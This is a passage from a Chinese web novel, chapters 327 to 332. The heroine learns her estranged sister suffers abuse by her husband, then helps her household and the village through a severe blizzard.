“二姐姐,快进来坐。”柳闻颜立即让出道来。 柳如星愣了一下:“你叫我什么?” “二姐姐啊,有什么问题吗?难道你不是我二姐?” 柳如星眼圈一红,笑了起来:“我是。” “既然是我二姐,那就快进来吧。”闻颜握着她的手,将她拉进屋里。 闻颜关上门,挽住她的胳膊,来到炕床边。 二姐的小臂只剩一层皮包骨头,果然和小方荷一样瘦。 她的身上穿的衣服,看着蓬松,其实都是虚的,一捏就瘪了下去,里面蓄的应该是芦花。 这对母女都瘦弱不堪,穿得也很破旧,看来她夫家的条件很不好。 第327章:阴晴不定 柳如星就看见女儿的旧棉衣外面,套着一件宽松的皮裘马甲,头上戴着一顶兔耳朵**帽。 显得她的一双眼睛黑白分明,格外的灵动。 她正捧着一块糕点在啃,让她看起来更像一只小兔子。 “荷儿,你怎么能吃姨妈的东西,快放下……” “是我让她吃的。”闻颜拦住她,还趁机塞了一块点心在她手中,让她也吃。 “这……这么好的点心我不能吃。”柳如星很是拘谨,拿着点心就想还给她。 “点心买来就是吃的啊,二姐姐你就快吃吧。”闻颜再三催促,柳如星才咬了一小口。 软糯香甜的绿豆糕入口即化。 柳如星的眼圈却忽然红了。 “二姐姐,你怎么了?”闻颜关心地问。 二姐姐把头埋得更低了,摇摇头:“没……没什么。” 她只是,打从出嫁以后,就再也没有吃过这么甜,这么精致的点心了。 闻颜看得出她有所隐瞒,许是不想暴露家中窘境,便没再刨根问底。 闻颜坐在一旁,撑着下巴看着母女俩吃东西。 她们吃完,就又拿新的给她们,母女俩手里就没闲过。 柳如星被闻颜盯得不自在,吃了两块就不肯吃了。 她摸了摸自己的脸颊:“小……小妹,我脸上可是有什么脏东西吗?” “没有脏东西,二姐姐长得很好看,和娘很像。”闻颜摇摇头,“我看着你,跟看着闻家姐妹的感觉完全不一样,或许这就是血脉的缘故吧。” 柳如星面露羞赧。 闻颜继续道,“二姐姐,我们是亲姐妹,以后要多多来往。” 柳如星的眼中瞬间蓄满泪水,空洞黝黑的眼睛里,也有了一点光亮。 但是,下一瞬,她忽然抽回自己的手,脑袋也垂了下去。 语气也变得冷淡:“算了吧。你可是举人夫人,我这种贱籍的货郎可高攀不起。” “二姐姐,你怎么了?” 柳如星却突然将手里的点心扔到地上,语气嘲讽地道:“少在这里假惺惺了。 几块点心就想让我对你感恩戴德,你们这些有钱人还真是好笑得很。 别人家养奴才,每个月还给一两银子的月钱,你说两句好听话就让我跟你演姐妹情深,你恶心**。” 说完,她就动作粗暴地抱起小方荷离开。 小方荷吓坏了,瑟缩着一动不敢动,任由母亲将她带走。 三嫂嫂端着饭菜进来,在门口被柳如星撞了一下肩膀,手里的饭菜差点没端住。 三嫂嫂走进屋来,一脸莫名地问闻颜:“二姐什么时到你屋里来的?还一副气鼓鼓的样子,你们吵架了?” 闻颜摊摊手:“我跟她聊天,原本说得好好的,她突然就生气了,摔了东西就出去了。” 闻颜指了指碎在地上的点心。 三嫂嫂无奈地摇了摇头,叹了口气,就把托盘放在炕桌上:“你快吃点东西,一会儿娘要带你去认人。” 三嫂嫂送过来的饭菜很清淡。 一碗肉糜粥,三道清淡的小菜。 “谢谢三嫂嫂。” “妹夫特地叮嘱了,你还病着,不能吃太油腻的东西,所以娘特地吩咐大嫂给你煨的粥。 用心的是娘和妹夫,出力的是大嫂,我负责端过来,反而承了你人情。” 三嫂嫂摇晃脑袋,一副得意洋洋的表情。 闻颜抿唇一笑,这个三嫂嫂,真的很俏皮可爱。 柳家妯娌能相处得如此和谐,多亏了她这机灵可爱的性格。 闻颜吃好饭,就跟着张敢娘去见客。 闻颜以茶代酒,敬了一圈,就以‘过病气’为由,回了自己的房间。 午饭这顿酒席吃了一个多时辰才散。 吵闹的院子,总算安静下来。 应知林一身酒气地被扶回房间。 闻颜房间的火炉上,早就煮上醒酒茶。 她给家里喝酒的人每人灌了一碗。 应知林喝下醒酒茶,就钻进被窝里睡着了。 闻颜看着他熟睡的模样,竟然觉得他有些可爱。 这时,院子里传来二姐姐告辞的声音。 方货郎却不想走,他拉着柳如星:“我们好不容易才回来一次,都还没尽孝,怎么能走呢?” 柳家今天才办了酒席,肯定还剩了好多菜没吃。 而且那个刚认回来的小妹,好像很有钱的样子,他还没跟他们套上近乎,从他们身上捞到好处。 怎么能就这样走了。 柳如星甩开他的手,抱着小方荷就往外走。 方货 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二人喜欢都来不及。 普通的农户人家,一件衣服能传三代,一辈子也做不了几身最便宜的麻布衣裳。 这些虽然是碎布头,却是皮草。 皮草哎! 除了碎一点,做成衣裳根本没什么差别。 两人爱不释手,已经商量要拼些什么东西了。 闻颜这时才将柳家人认全。 老柳家现在一共有十口人。 张敢娘夫妻、大房夫妻两个孩子、三房夫妻一个孩子,老四因为给柳如月当陪读,认识几个字,在县城的客栈里当小二。 “只可惜,二姐姐已经走了,我也给她一家三口准备了东西。”闻颜叹了口气,故意说道。 柳家人提起柳如星,也都跟着叹了口气,却没一个人肯多说。 闻颜好奇地追问:“我总感觉二姐姐心情不好,可是她家里发生了什么事?” 张敢娘才长叹一声,眼眶里溢出泪花:“你二姐姐啊,她是怕连累家里。” 果然有内情。 接着,她就听张敢娘,将柳如星的事娓娓道来。 第328章:二姐姐不忍了 柳如星虽然是张敢娘夫妻的第二个孩子。 因为头胎生了儿子,夫妻俩没有了传宗接代的压力,对第一个女儿十分宠爱。 即便后面有了其他的子女,对柳如星的宠爱也不减半分。 直到闻如月出生。 因为生出来体弱,夫妻俩便将更多的精力放在她身上。 柳如星觉得自己失宠了,心里的落差日益增大。 她在父母身上得不到的关注,便从旁人身上索取。 柳如星长得漂亮又能干,她很快就被方货郎盯上了。 方货郎花言巧语,很快就博得了柳如星的好感,并哄骗她嫁给他。 张敢娘夫妻自然不愿意。 方货郎便下药让二人生米煮成熟饭。 张敢娘夫妻才不得不同意她嫁给方货郎。 起初三个月还好,柳如星过得还算幸福。 三个月之后,柳如星怀孕,孕期四个月时又莫名其妙地流产。 方货郎对她的态度,突然一百八十度大转变。 不仅对她横眉冷对,还把货郎的挑子给了她。 让她每天必须卖多少钱,否则就不能回家进门。 柳如星一开始并不屈服,跟方货郎争论。 方货郎就用那个流掉的孩子给柳如星洗脑。 让柳如星给方家当牛做马。 她白天出去当货郎赚钱,晚上回去还要洗衣做饭,侍候方家的一大家子。 遇上农忙时节,她上午卖货,下午就回家种地。 总之,没有一天能歇着。 身体累,饭食营养跟不上,柳如星的身体就越来越差,后面怀了几个孩子都流掉了。 直到她怀上了方荷。 柳如星想要留下这个孩子,回娘家求助。 张敢娘心疼她,就留她在家里养胎,方货郎便趁机缠上了柳家。 不仅蹭吃蹭住,还偷柳家的钱。 柳如星坐完月子,就回了婆家。 自此不轻易回来,装做跟娘家闹翻的样子。 其实,柳家人又怎会看不出她真正的用意。 明明心疼,也只能配合她。 张敢娘说着说着,就红了眼眶。 她连忙用衣袖把眼泪擦干。 ** 柳如星一家三口出了柳家村的地界,拐进一条近路小道。 方货郎左右看了看,见周围无人。 “你他娘的,敢坏老子好事!”他抬起手来,一个巴掌抽在柳如星的脸上。 方货郎的力气本来就大。 再加上柳如星的脸冻得青紫,这一巴掌下去,她没感觉到疼,但是脸颊上的掌印瞬间青紫肿胀。 小方荷趴在柳如星背上,她顿时吓得小脸苍白,浑身哆嗦着。 她想让爹爹不要打娘亲,可她还是个孩子,早就吓坏了,她根本发不出一丁点声音。 她只知道抱紧娘亲这颗永远会保护她的大树。 方货郎指着柳如星的鼻子,气急败坏地骂道:“我小姨子跟你示好的时候,你为什么不顺势讨好她! 她男人可是举人,随便从指甲缝里漏一点,就够我们衣食无忧了。 若是你帮我说说好话,让他请我去给他们打理产业,我们能捞到的东西,岂不是更多!” 方货郎的表情变得狰狞,他指着柳如星:“别以为我不知道你在打什么主意。 你故意说的那些话,让我小姨子讨厌我们。 你这是断了我的财路,你打死你……” 他第二个巴掌再次朝柳如星脸上扇去。 然而,这一巴掌根本没落到柳如星脸上。 柳如星用手臂就把他的手腕给捉住了。 “你还敢反抗!”他挥手又是一个巴掌,却不是打柳如星,而是朝小方荷煽去,“我收拾不了你,我还收拾不了这个赔钱货吗?” “小荷!”柳如星着急,反手一个耳光甩在方货郎脸上。 方货郎的脸被抽得歪到一边,脸颊上立刻出现了一个清晰的巴掌印。 他捂着脸,不可置信地看着柳如星:“你……你竟敢打我!” “我是你夫君!你竟敢打我,我要把你浸猪笼!” 她黝黑的瞳孔死气沉沉,没有起一丝波澜和变化。 仿佛刚才只是拍了一只蚊子。 “浸你妹!”柳如星啐了他一口,“姓方的,别给脸不要脸。你已经祸害我了,你还想祸害我家里的人。 别说是我的小妹和小妹夫,便是我娘家的便宜,你也别想沾染一分。” 她指着方货郎的鼻子:“我告诉你,别再动我的女儿,老娘不会再忍你了。” ** 闻颜听得直皱眉。 原来不是二姐姐婆家的日子不好过,只是二姐姐母女的日子不好过。 闻颜眸色沉了沉,随即笑着问道:“娘,二姐姐家过年不请客吗?” “他们家每年初三有客人。”张敢娘连忙擦干眼泪,紧张地问她,“颜颜,你想干什么?” 闻颜笑着道:“我不干什么呀!既然我和知林有出息了,明知道亲姐姐在受苦我怎能坐视不理。” “你别去。方家一家子都没脸没皮,一点沾上,就甩也甩不掉了。”三嫂嫂劝道。 大嫂也跟着点头。 “那就不要甩了,都是一家人嘛,只要二姐过得好,让他们占点便宜又何妨。”闻颜不以为意地说。 “你这孩子,咋不听长辈的话。 方家那是一般人吗?那一家子吸血蚂蟥,会被拖累死的。”张敢娘恨得不成话,气得在闻颜胳膊上重重拍了一下。 闻颜穿得厚,又是棉衣又是貂的,张敢娘这一下根本就不痛,闻颜却夸张地“哎呦”了一声,抱着胳膊喊道:“我的胳膊,好痛哦!好像被打骨折了。” 张敢娘不可置信地看着自己的手:“我根本没使什么劲啊。” 直到看见其他人憋笑,张敢娘才知自己上当了。 她又拍了闻颜一下:“胆子肥了,连老娘都敢骗。” 闻颜笑嘻嘻地躲开,院子里一片欢声笑语。 应知林睡了一个多时辰才醒。 他揉着脑袋,一脸痛苦地坐到闻颜身边:“头好痛。” 闻颜道:“炉子上有菊花茶,你去喝两盅,能缓解酒后不适。” “好。”应知林揉着脑袋,摇摇晃晃起身去喝茶。 吨吨吨连喝三杯,这才精神了些。 “爹和兄长们也醒了,我给他们送一点过去。” “那你加点糖进去。”闻颜叮嘱了一声。 “嗯。”应知林应了一声,提着茶壶就走了。 张敢娘看着夫妻二人的互动,满意地点了点头。 晚饭也是在柳家吃的。 白天客人多,大家都是随意糊弄一顿。 这顿晚饭,才算称得上是真正的团年饭。 饭后,闻颜夫妻就准备回家。 张敢娘想让他们住一晚再走。 若是平时,住一晚也无妨。 但是这次不成。 暴雪今晚就来了,今天不走,就要被困在娘家,春节后才能回去了。 第329章:感觉有不好的事要发生 “再两天就除夕了,家里还有好多事要处理。下次过来,我一定住一晚。娘,好不好嘛!” 闻颜摇晃着张敢娘的胳膊撒娇。 张敢娘被她的一声声娘迷得晕头转向:“行行行,我同意你回去,我同意还不行吗。” 她转身回屋,抱出来一只大羊腿:“这是特地给你留的,你拿回家同亲爱婆婆一起吃吃。” “娘,那我们就先走了。”闻颜坐上马车,又忍不住叮嘱道,“对了,爹娘,我看天象晚上可能有大雪,你们晚上记得把炕烧旺一点,再多放两床被子。” 叮嘱完,闻颜二人就出发了。 柳家村距离松山村并不远。 不过他们驾着马车,需要绕路从县道才能回去。 出发时天就已经擦黑,回到家已经很晚,家里人都睡下了。 闻颜不想惊动家里人,把马车停到马厩之后,就怂恿应知林翻墙进去开院门。 应知林抚额:“这墙非翻不可吗?偷感真的很重!” 闻颜:“你怕影响你的书生气质啊?那是我来吧!”闻颜撸起衣袖,就要去翻墙。 应知林揽住她的腰,把她从墙上扯了下来:“还是我来吧。” 他撸起衣袖,正要翻墙,院门就从里面打开了。 康叔探出头来:“我听着声音像小姐,果然是您和姑爷回来了。” “康叔,你怎么还没睡?”应知林问道。 “我刚换了班,到院子里转转,没想到就听见您的声音了。”康叔回答。 “康叔你早点休息,晚上加多一床被子。”闻颜提醒一句,就和应知林一起回了自己的卧房。 家里人不知道闻颜今天会回来,没有准备,房间里冷冷清清的。 应知林放下包袱,挽起衣袖忙活起来:“你先坐一会儿,我先把取暖炉烧起来。” 应知林动作很是麻利,没一会儿,他就把取暖炉烧了起来,上面还架着一炉子热水。 他顺便还塞了一个暖手炉进闻颜怀里,还给她拿了一小盒零食,让她边吃边等。 房间里渐渐有了热气,炉子上的水也热了。 应知林拿来盆,添满热水:“你泡泡脚,一会儿睡觉才暖和。” 闻颜脱了鞋袜,把脚放进热水里。 应知林连忙移开目光,非礼勿视! 闻颜却看了他一眼又一眼:相处下来,应知林怎么越来越温柔体贴了? 而且,他的耳朵尖还红了。 闻颜泡好脚,洗漱好就钻被窝里去了。 她的脚一伸进被窝,里面就暖烘烘的。 她用脚划拉一下,里面竟然放了汤婆子。 闻颜忍不住啧啧出声。 应知林本就长在她的审美点上,要是再这么体贴下去,她都快舍不得同他和离了。 闻颜躺在床上,就开始昏昏欲睡,好一会儿才等到应知林洗漱回来。 闻颜提醒他:“炉子上我煮了姜茶,你今天赶了一天的马车,喝了酒又赶马车,容易风邪入体。喝两碗姜茶再睡。” 应知林心里像吃了糖一样甜,嘴角抑制不住的上扬,一口气喝了两碗姜茶。 喝完之后,他就乖乖抱着被子,开始在榻上铺自己的被窝。 今晚有暴雪,窗边透风,而且榻上哪有床上暖和。 应知林就算再年轻,体格再好,恐怕也遭不住。 闻颜犹豫了一下,掀开身边的被子:“今天你上床来睡吧。” “啊……可是,男女有别……”应知林脸颊泛红,低着头一副很羞怯紧张的神情。 ‘扑哧……’闻颜忍着笑,“那你就多铺几床被子吧。” 闻颜扯着被子蒙着脑袋。 应知林手脚麻利地钻进了旁边的被窝。 闻颜没一会儿就睡着了。 迷迷糊糊间。 闻颜被一阵阵呜呜的风声吵醒。 闻颜睁开眼睛,空气里仿佛夹着冰刀子,刮得脸生疼。 “暴雪开始了吗?”她撑着身体坐起来。 “今晚的风确实大得不正常。”应知林也坐了起来,拿了一件棉衣给她披上:“当心别着凉,让病情加重了。” “我出去看看。”闻颜扯着衣服就下了床。 “我陪你。”应知林也跟在她身后。 闻颜先去了对面外祖母的房间。 她刚刚将门推开一条缝隙,外祖母就醒了过来:“谁啊?” 老人的声音有些沙哑。 “外祖母,是我和知林。外面下大雪了,我过来看一看你。”应知林把灯笼举到闻颜旁边,帮她照亮脚下的路。 闻颜来到床边。 外祖母想要坐起来,闻颜将她按了回去:“别动了,容易受寒风。” 闻颜帮她掖好被角,又把手伸进被子里感受了一下温度。 她转头对应知林说:“被窝里有些凉,你往炕眼里再加点柴,气眼留小一点。” “好,我去弄。”应知林转身就去外间加柴。 闻颜倒了点热水给外祖母喝了,这才道:“我要再去别处看看,外祖母您好好歇着,就别出去了,外面凉,容易受寒。” 外祖母道:“我知道的,你快去忙你的。” “那我就先走了。”出了外祖母的房间,闻颜提了一个包袱,就去看其他人。 打开门,呜呜的大风,就鬼哭狼嚎一般。 大片大片的雪花就像鹅毛一般,天地之间白茫茫的一片,闻颜站在屋檐下,已经看不清对面的院墙。 辰七哥拄着拐杖站在屋檐下观察。 闻颜裹紧了身上的皮毛大氅,大步跑向他:“七哥,你怎么起来了?当心腿疼。” “听见下雪声就起来看看。”辰七哥把手伸出屋檐,两个呼吸的时间,他的手上就铺了厚厚的一层白雪。 辰七哥皱了皱眉:“今年这雪,大得有些不正常了。” 闻颜点点头:“确实不正常。七哥你快去屋里躺着,胳膊和膝盖受了寒会很疼的。” 她从包袱里掏出一个小袋子:“里面有膏药和药酒,你难受的时候就揉一揉,会好很多。” 应知林直接把小海揪过来:“给你师父揉药膏去。” 两人来到前院,就见佩儿披着衣裳出来。 “小姐,你什么时候回来的!”佩儿看见闻颜,惊喜得不行,直接奔过来,抱着闻颜转了两圈,上上下下打量个遍,“小姐,你病好全了没?现在还有没有哪里难受?” “放心吧,我已经好得差不多了。”闻颜把包袱交给应知林,“你去西跨院看看,这边有我。” 应知林拿着包袱去了西跨院。 闻颜则将正院检查了一遍,确定五婆婆和佩儿母女的房间没问题,她才松了口气。 “哑妹婆婆那边,有送被褥过去吗?”闻颜忽然想到哑妹婆婆,心里还惴惴不安。 总感觉有不好的事要发生。 第330章:在外面有别的女人 “送了两床新褥子过去,怎么了小姐?” 闻颜拧着眉头,一时没有多说。 直到应知林回来,闻颜找他商量:“我刚才突然想到哑妹的婆婆,心里很不安。 今夜狂风暴雨,我想去看一看。” ‘清风小楼’生意好,京城里的那些富家小姐,很是喜欢哑妹画的蔻丹和花钿。 恰巧哑妹也想多赚些银子,就和也想赚钱的香莲一起留在店里没回来。 闻颜给她们开了双倍工钱。 哑妹在京城给她拼命挣钱,她要是连哑妹的婆婆都照顾不好,那也太寒人心了。 “风雪这么大,我代你去吧。” “不行,不亲眼看见我不放心,还是我自己去吧。”闻颜见应知林露出不赞同的神色,连忙改口,“我和你一起去也行。” 应知林还是不同意。 闻颜突然握住他的手:“应知林,你就答应我吧。我们一起去好不好?” 闻颜的手温暖又柔软。 应知林觉得握着自己的,不是一只手,而是一条毛绒绒的猫尾巴,挠得他心里发痒。 哪里还说得出拒绝的话,乖乖被闻颜牵着手回屋换衣服去了。 闻颜说完,就牵着应知林的手,回屋去换衣裳了。 换上厚实保暖的衣服,和防水的皮靴。 闻颜就去灶房挑了一大麻袋木炭,又挑了一些肉菜米粮。 想了想,她又回去抗了几袋木炭。 村里有好几户孤寡老人,顺道给他们也送一点好了。 收拾好东西,两人就出门去了。 ** 京城。 清风小楼。 哑妹忙了一天,客人散去之后,她早早就洗漱休息了。 睡着之后,她就迷迷糊糊地进入了梦乡。 在梦中。 她和祖母还在松山村。 虽然有应族长的接济,但她和祖母的日子还是很难熬。 这年冬天是个暖冬,但她还是如往常一样,准备了许多柴禾。 眼看就要到除夕,这天半夜她被冻醒。 醒来之后,她发现外面刮风暴雪,年底刚刚维修过的房顶,在厚厚的积雪中摇摇欲坠。 她和奶奶都冻得手脚麻木,可房子里已经不安全了。 她背着奶奶往外逃,却慢了一步。 房梁掉下来,祖母用自己的身体护住了她。 祖母当即呕出一口鲜血,很快就失去意识。 她清晰地感受着,祖母在自己的背上一点点变得冰冷,又一点点变得僵硬。 “啊——”哑妹尖叫一声,坐了起来。 与她同屋的香莲惊醒:“哑妹?你怎么了?是不是做恶梦了?恶梦都是反的,你不要怕,不管有什么事,都有嫂子在。” 哑妹‘啊啊啊’的比划着,香莲根本看不懂。 哑妹推开她,扑到窗前。 她打开窗户,看着外面下得密不透风的大雪,她的脸上瞬间失去血色。 这样的大雪,和梦里一模一样。 难不成梦里的一切会成真? 那祖母呢? 祖母会不会…… 她浑身战栗,推开香莲,衣服靴子都来不及穿,就往外跑。 “哑妹,现在回不去的,城门关了,而且这么大的雪,根本分不清方向和路。” 香莲追上来抱住她,眼看控制不住,香莲抓到门栓,把她砸晕过去。 ** 哑妹和奶奶住在村子的另一头,他们要穿过整个村子,才会到哑妹家。 风雪刮得衣裳猎猎作响,刮在皮肤上,更是如刀割撕裂一般的疼。 应知林掀起斗篷,一下把她遮在怀里。 别说,应知林的胸膛还怪温暖坚实的。 地上已经铺了厚厚一层积雪,踩在上面嘎吱作响。 两人进村没一会儿。 闻颜就隐约听见风雪里,似传来一声微弱的‘咣’。 “你听。”闻颜拉住应知林的衣袖,提醒道。 两人停下脚步。 嘎吱嘎吱的踩雪声,瞬间停下。 应知林竖耳倾听。 风雪里的‘咣咣’声更加明显,但是幽幽的,伴着呼啸的风声,阴森森的鬼哭狼嚎一般。 应知林将她拥得更紧,安慰道:“别怕,有我在。” 闻颜从他的领口探出头来,朝声音的方向传来:“娘呀,这声音好吓人,不会是什么黑白无常出来勾魂的吧。这也太吓人了。” 应知林垂眸,就能看见胸口转来转去的毛绒绒的脑袋。 她还不断往他怀里缩。 小小的身子,软乎乎的贴着他的身体。 应知林的胸膛里小鹿乱撞,仿佛下一秒就能冲破胸膛。 应知林一把扣住她的腰:“你别乱动,当心漏风。” 闻颜老实下来。 应知林在她脑袋上敲了一下:“别乱动,那些应该是族长家的青山大哥。” “深更半夜的,他们出来干什么?” “挨家挨户的提醒大家注意安全。 这么大的风雪,就怕村民睡得太死,发现不了。 积雪压垮了房顶,容易出人命的。” 两人说着话,那铜锣声越来越近。 闻颜二人等着他们过来,互相交流一下情况。 距离已经近到能看见互相身影了。 他们来了四个人。 闻颜正要叫他们。 对面突然传来一声尖叫:“啊……鬼啊!” “啊……还有两个头!” “娘啊!我要回家!” 对面四个人“嗷嗷”叫着,上蹿下跳,那惊慌失措的样子,仿佛真的见鬼了一样。 “他们怎么了?要不要过去看看?”闻颜都被他们吓到了。 “好。”应知林揽着她就过去了。 那四人惊恐地抱成一团:“鬼……鬼朝我们过来了,哇……青山哥,我们该怎么办……” 闻颜歪着脑袋看应知林,“他们说的鬼,好像是我们耶!” “青山哥……”应知林喊了一声。 抱作一团的人这才认出他们。 “哎呦,原来是应知林啊,吓死我人了。不过你大半夜的在外面晃悠什么?” 风太大,他们说话都要靠喊的。 应知林说明目的,把其余的炭交给他们:“这些就麻烦你们送过去了。” 说完之后,应知林扶着闻颜离开。 青山几人面面相觑:“知林怀里的是不是藏着一个人?” “天呐,知林不会是在外面私会女人吧。” “虽说男人三妻四妾很正常,可他们成婚还不到一年,知林就在外面有别的女人,这也不太好吧!” “是啊,闻颜人还那么好。 我们要不要把这事儿告诉闻颜啊!” 几人露出一副难以抉择的纠结神情,不知该站理还是站亲。 闻颜和应知林很快就来到了哑妹家门前。 只见哑妹家的茅草屋,在北风呼啸中摇摇欲坠,随时都能倒塌似的。 第331章:积雪堆到房子高 “这就是哑妹的家?”闻颜看着房子咽了口口水。 应知林也皱起眉头:“年前族长安排人维修过的,估计是房子基础太老旧,撑不起狂风和大雪。” “这房子看着太危险了,以防万一还是先把哑妹婆婆搬出来吧,住在里面太危险了。” “好。”应知林应着,就来到门前。 应知林去敲门。 敲了好几下,屋里都没反应。 “直接踹门吧。” 应知林没有丝毫犹豫,抬脚就踹了过去。 ‘咣’的一声。房门就倒在地上。 随即,屋里就传来一阵撕心裂肺的咳嗽声。 “婆婆,你没事吧。”应知林冲进去,将人扶起,“房子危险,我先背您出去。” 应知林蹲在床边,闻颜把老人扶到应知林背上,又扯着床上松软的被子,披在老人身上。 “好了,快走吧。”闻颜催促。 应知林背着人往外走。 闻颜见床上还有一件新被子,一件新袄子,她抱着就跟在应知林身后出了门。 两人跑到安全距离才慢下来。 闻颜回头看了一眼,那座低矮的茅草屋,就和应知林往家走。 到家之后,五婆婆得知闻颜把哑妹婆婆背了回来,当即就让应知林把人安顿到她的屋子里。 应知林连忙劝道:“家里还有空余房间,我们再烧一张炕就好。” 五婆婆道:“这样的天气,后面不知还要烧多少柴禾和炭,能省一点是一点。” 五婆婆态度坚决,应知林也不好违拗,只能将哑妹婆婆安排过去。 将两位老人安顿好了之后,闻颜好奇地问应知林:“你刚刚为何不同意两位婆婆住一个房间?” 应知林叹了口气,无奈道:“两位婆婆是堂姐妹,从小性格不和,是吵架长大的。” “五婆婆还会跟人吵架!”闻颜震惊了。 应知林笑着道:“你也觉得不可思议吧!五婆婆性子温柔内敛,跟谁都好,就是跟这位堂姐处不来,年轻时候双方家里的狗从身边路过,都要踹一脚的那种。” 闻颜忍着笑,实在想象不出那种情形。 回到屋子,闻颜即刻钻进被窝,看见应知林站在床尾没动,好奇问他:“你不休息吗?” “你先睡吧,我去族长家那里看看,这么大的雪,兴许用得上我。”应知林把她散落的碎发拨开,克制着吻一吻她额头的冲动。 “那你注意安全。”闻颜总感觉他眼神太炽热,连忙闭上眼睛,还用被子遮住了头。 “你一夜好梦。”应知林嗓音温柔地说完,就吹熄了蜡烛。 房间里陷入黑暗。 应知林给她掖了掖被角,隔着被褥在她的额头,落下一个羽毛般的轻吻,这才起身离开。 房门合上,将他们分隔在两个天地。 屋内温暖如春。 屋外风刀霜剑。 他捂住心口的位置,这里面满满当当,让他觉得外面的狂风暴雪也不足为惧。 他披上斗篷,大步走入风雪中。 大概是解决了心头的不安,闻颜很快就睡着了。 她一觉睡到自然醒,发现窗户外面还是昏昏沉沉的。 呼啸的北风还在呜呜叫着。 天还没亮吗? 她翻了个身,发现身边的位置空空如也,被窝里也是冷冰冰的。 应知林一夜未归? 村里不会有人出事了吧! 她在温暖的被窝里打了个滚,又伸了个满足的懒腰,就麻利地起床了。 换好衣裳,洗漱好之后,她端着洗脸水出去倒。 谁知门一打开,半人高的积雪就涌了进来。 闻颜躲避不及,被积雪埋个正着,一下就摔地上去了。 好在新雪松软,她并未受伤,洗脸水虽然朝她身上泼过来,但是还没沾到她的身体就结冰了。 她从雪堆里挣扎着爬出来,这才发现门外的屋檐下破出一束光来。 原来,不是天没亮。 而是积雪堆到房檐,遮住了外面的天光。 闻颜是平民,按照规制,檐高一般不能超过两米。 也就是说,昨儿一夜大雪,积雪就堆了两米高。 灾情竟比闻颜记忆中还要严重。 前世她嫁给霍耀行,住在津平侯府里。 侯府里那些主子,个个自命不凡,矜贵得很。 岂会让雪堆积到屋檐,这会显得他们穷酸。 便派人十二时辰扫除积雪,不许停歇。 是以闻颜前世只知道雪灾严重,却不知道竟严重成这样。 她起身拍掉身上的雪花,她想爬到雪上去看一看外面情况如何。 谁知,她一脚踏空,就掉进了粉雪堆里。 粉雪堆里软绵绵的,闻颜没有借力的点,她越是挣扎就掉得越深。 陷入粉雪堆,而且还是这么高的粉雪堆,行动困难,很难自救。 她想喊救命,结果一张嘴就吃了一大口冰冷的粉雪。 粉雪极容易堵住呼吸,让人窒息而死。 老天爷哎,真是好奇害死猫,她就想看一看景色,没想到会把自己伤残。 她憋着气,努力地想着自救办法。 就在这时,她忽觉后领一紧,就被人从雪堆里拔了出来。 一脱雪堆,她就赶紧拂去脸上积雪,大口呼吸起来。 “喏,用它擦擦脸吧。”应知林递来一张手帕。 闻颜擦了擦脸,这才向他道谢。 闻颜见他脸色疲惫,眼睛里带着红血丝:“你现在才回来?可是村里情况严重?” 应知林道:“村里好几家的房子都塌了。” “这么严重!可有人员伤亡?” “万幸没有人员伤亡。”应知林不知从何处掏出一把铁锹,开始铲雪。 他在院子里铲出一条过道,就搭着梯子清理房顶。 闻颜没有闲着,跟着他一起爬上房顶,发现康叔也带着人在清理正院和西跨院的房顶。 她转过身,这才看清村落的状况。 整个松山村都陷在雪堆里,田地道路都被埋没了。 只偶尔露出几个被扫净的屋顶,和白色的树冠。 天上的大雪还在下,四夜三天下下来,别说是村子,便是整个山坳都能填平。 闻颜叹了口气,就开始处理积雪。 应知林抚额。 他这小娘子还真是……什么热闹都要凑一凑。 不过看她玩得高兴,便舍不得阻止她。 算了,自己分心多盯着点,不让她发生意外就是了。 房顶和过道很快就清理干净,慧娘也把早食做好了。 大家都又饿又累,正围坐在一起吃饭,应族长就一脸羞赧地上门了。 第332章:都是被放弃的人 应族长的身边还跟着他的几个儿孙。 儿孙手里拿着铁钩,气喘吁吁的。 显然,他们是一路挖雪挖过来的。 可见族长是真的有急事,不然不会这么辛苦的过来。 “族长爷爷,您怎么过来了?”应知林连忙迎了上去,扶住他老人家。 “族长爷爷,你们吃早饭了没?一起吃点吧。”闻颜给佩儿递了个眼色。 他们今早吃鸡汤米线。 米线是刘婶昨天做的,还剩了好多。 放到开水里烫熟就好了。 佩儿立即去准备了。 族长爷爷落座之后,歇了一会儿,又吃过早饭,这才说起正事儿。 “村里好几家人的房子都塌了。 他们没地方住,我就想安排他们到别人家挤一挤。 我家接纳了一户人家,剩余就你家的宅子最大,所以我就想……” 应知林立即道:“这不是族长爷爷您的主意吧。” “这才让你猜出来了。”应族长叹了口气,“想必你已经猜到是谁在拱火了吧。” “老应家的人。”应知林早有预料,他一声冷笑,“他们不会还说什么,都是一家血脉至亲,应该互帮互助。 他们还想趁机缓和关系吧!” 应族长巴掌在桌上拍了拍,“你啊,真是了解他们,猜得一点不差。” 老应家就是狗皮膏药,应族长才费了牛鼻子劲,特地过来一趟。 应知林道:“应喜妹被罚去做苦力之后,他们就一直安分。 还以为他们终于老实了,没想到现在又开始作娇。” “你准备怎么办?”应族长问。 闻应知略一沉思,便道:“我们家里人多,房间不足。我们祠堂挺宽敞的,应该容得下他们暂住。 我们出不上力,但可以出钱。我们拿出三十两银子,到时由族长您分给他们盖房子吧。” “三十两可不是个小数目,帮是情分,不帮是本分,你意思意思就行了。” “以前我读书的时候,村里人也没少帮我。”应知林说完,转头就脸色微红地看着闻颜,“娘子,这次恐怕又要你帮我了。” 应知林脸上微红,心里却美滋滋的。 他这个要花娘子钱的穷书生的人设一定要维持住了。 闻颜眨了眨眼睛,他不是有钱吗?干嘛还跟自己借? 不过她没拆穿他:“佩儿,去拿银子。” “是,小姐。”佩儿立即取了三十两银子过来,交给族长爷爷。 族长爷爷稍坐了一会儿就离开了。 就怕再耽误下去,积雪又把刚开出来的路堵上了。 也不知应族长怎么处理的,此后老应家无一人上门闹事。 安分得让人不习惯。 这样的雪灾情况不止京城这一处。 往北两百里,东西五百里的范围,是暴雪重灾区。 因为有官府提前通知预防,百姓也做了准备,不过还是有少数的房顶被积雪压塌,也有百姓被压死在房中。 不过比起前世,灾情和损失还是大大减少。 大雪把人困在了家里,大家都闲出屁来,连打孩子的频率都上升了。 族长便安排村民扫雪,把村里的主干道清扫出来,也好方便大家串门。 闻颜则是难得有个清闲时候。 她天天在家看雪、堆雪人、做好吃的、弄矿石颜料、画画,闻颜的日子过得惬意又充实。 转眼就到了除夕之日。 闻颜他们忙活了一整天,准备了许多好吃的。 鸡、鸭、鱼、鹅、猪、羊,全都准备了。 食物的香味在院子上空飘了一整天。 团年饭陆续出锅,给应族长和一些族老、孤寡送了一份过去之后,他们就开饭了。 